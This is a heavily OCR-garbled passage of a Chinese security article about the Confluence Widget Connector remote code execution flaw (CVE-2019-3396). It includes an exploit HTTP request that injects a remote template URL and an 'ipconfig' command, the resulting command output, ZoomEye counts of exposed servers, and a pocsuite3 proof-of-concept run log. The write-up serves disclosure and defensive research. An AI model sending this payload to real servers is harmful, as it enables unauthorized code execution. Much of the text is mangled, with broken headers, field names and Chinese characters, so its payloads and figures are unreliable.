¥ <meta id| CE C <# -
= 2y [T ' Omatches | 2 || <
— 7 8 J°
.
X -

SNFHSEE, AETLAMFERRIEERpayload, #4T ipconfig AIEER.

https://paper.seebug.org/884/ 16/20
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Confluence #{## RCE (CVE-2019-3396) J i/ #t

POST /rest/tinvmee/l/macro/preview HTTP/L.1

Host: localhost:90%0

User-Agent: Mozilla/5.0 (¥1l; Linux ®8E_g4; rv:e0.0)
Gecko/20100101 Firefox/€0.0

Acecept: text/html, */*; g=0.01

Accept-Language :

zh-CH, zh;q=0.8, zsh-TW; q=0.7, sh-HE; q=0.5,en-U3;qg=0.3 ,en; q
=0.zZ

Referer: http://localhost:9090/

Content-Type: application/json; charset=utf-&
H-Pequested-With: XMLHttpRedgquest

Content-Length: 214

Connection: close

{"contentId":"75E444", "macro”: { "name": "widget™, "body": "
Ty Mparams":{"url": "https: /S www. voutube . com/ watch?v=Tz35
WEoHMgM", "width": "200", "height":"200", "_template":"ftp:
//localhost:212 1/ reed . v, "command™ : "ipcontig™ b}

yEEZl

TR#E ZoomEye MR ZS[EHEZ S |ENIXE= "X-Confluence" #{THEZ, /5% 61,856 KER, £E

PhEE. BE. FEFER.

& smgls | ZoomEye

BERER FHES ESSz0s LiE|

£ AATO

"X-Confluence”

8082/http

8080/http

XS MmEARRREI I EE)

https://paper.seebug.org/884/

ry
-

0 matches

Windows IP OO

o o o o o e

oo . . . . . . . . . . .. 3 O000000
00000 pws OO0 . H

00000000 0000+ 1:

oooo . . . . . . . . . . . . : OOOOOOOC
Ooooo pws OO0 . :

00000000 0000+ 12:

oooa . . . . . . . . . . . . : 0000000
00000 pes OO0 . :

000000 ooo 2:

oooo . . . . . . . . . . . . : OOOOOOOC
00000 pws OO0 . :

000000 VMware Hetwork Adapter VMnetl:
00000 pws 00
Ooo0 Ievé OO. Ce e .
fed0::ed73:3c31:a60b:252e%11
IPv4 OO

oooa.

BEEER

"X-Confluence”

wE
HttpOnly Rtk

' Y
2019
2018
2017
2016
2015
2014

ESE

Ce e e e e e 192.168.162.1
ooogo . . . 0 . s s s e . . . 3 255.255.255.0

0 matches

59,013

2,843

30412
14,861
7.880
1,536
7,004

163
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BN v

High
A 17391

Low )

£IXTOP10 v

18,000
15,000 4
12,000 4
9,000 4
6,000 4

3,000+

us DE CN FR CA AU NL GB IE 4 JKR =

PESHEARRRFTEE)
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China - ##ESt1t v

2.5‘{]0 3000

[a=]
w
]
[s=]
[==]
[=1
[==1
)
=
£
(%]
[=]8
[=]
(=]

el

20195F4H4H, 404X Z=ENT T iZimiERIAEPoC
(https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/20190404_WEB_Conflue
nce_path_traversal.py), BJLAFIFIXMPoCtEllConfluence @B SZimER/NT,

# python3 pocsuite3/cli.py -r pocsuite3/pocs/20198404_WEB_Confunce_Unauthorized_Remote_Code_Execution.py -u http://confluence.local: 8090 --verify

[*] starting at 14:47:37

[

1 loading PoC script 'pocsuite3/pocs/20198404 WEB_Confunce_Unauthorized_ Remote_Code_Execution.py'
[ 1 PoC script "Confluence Widget Connector Unauthorized Remote Code Execution (CVE-2019-3396)" requires "pyftpdlib" to be installed
[ 1 )] pocsusite got a total of 1 tasks
[ 1

)

|

running poc:'Confluence Widget Connector Unauthorized Remote Code Execution (CVE-2019-3396)' target 'http://confluence.local:8090"

[*] shutting down at 14:47:48

SE kR

o imiREtNPoC
(https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/20190404_WEB_Co
nfluence_path_traversal.py)

e Remote code execution via Widget Connector macro - CVE-2019-3396
(https://jira.atlassian.com/browse/CONFSERVER-57974)

https://paper.seebug.org/884/ 19/20
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* FWIETAE | Confluence Server IAEUIBHITIRIR
(https://www.freebuf.com/news/200183.html)

A H Seebug Paper &fn, WNF4EEIE AR, AL https://paper.seebug.org/884/
(https://paper.seebug.org/884/)

(/users/c
nicknam

HEBI=F4043LI8 = (/users/author/?
nickname=%E7%9F%A5%E9%81%93%E5%88%9B%UES%AE%87404%ES5%AE%IEWEO%AA%SCWESWNAE%NASL)

EIEEZHEXIZIEE (/users/author/?
nickname=%E7%9F%A5%E9%81%93%E5%88%9B%ES%AE%87404%ES5%AE%IEWEI%AA%SCIHESWAENAL)HIIE
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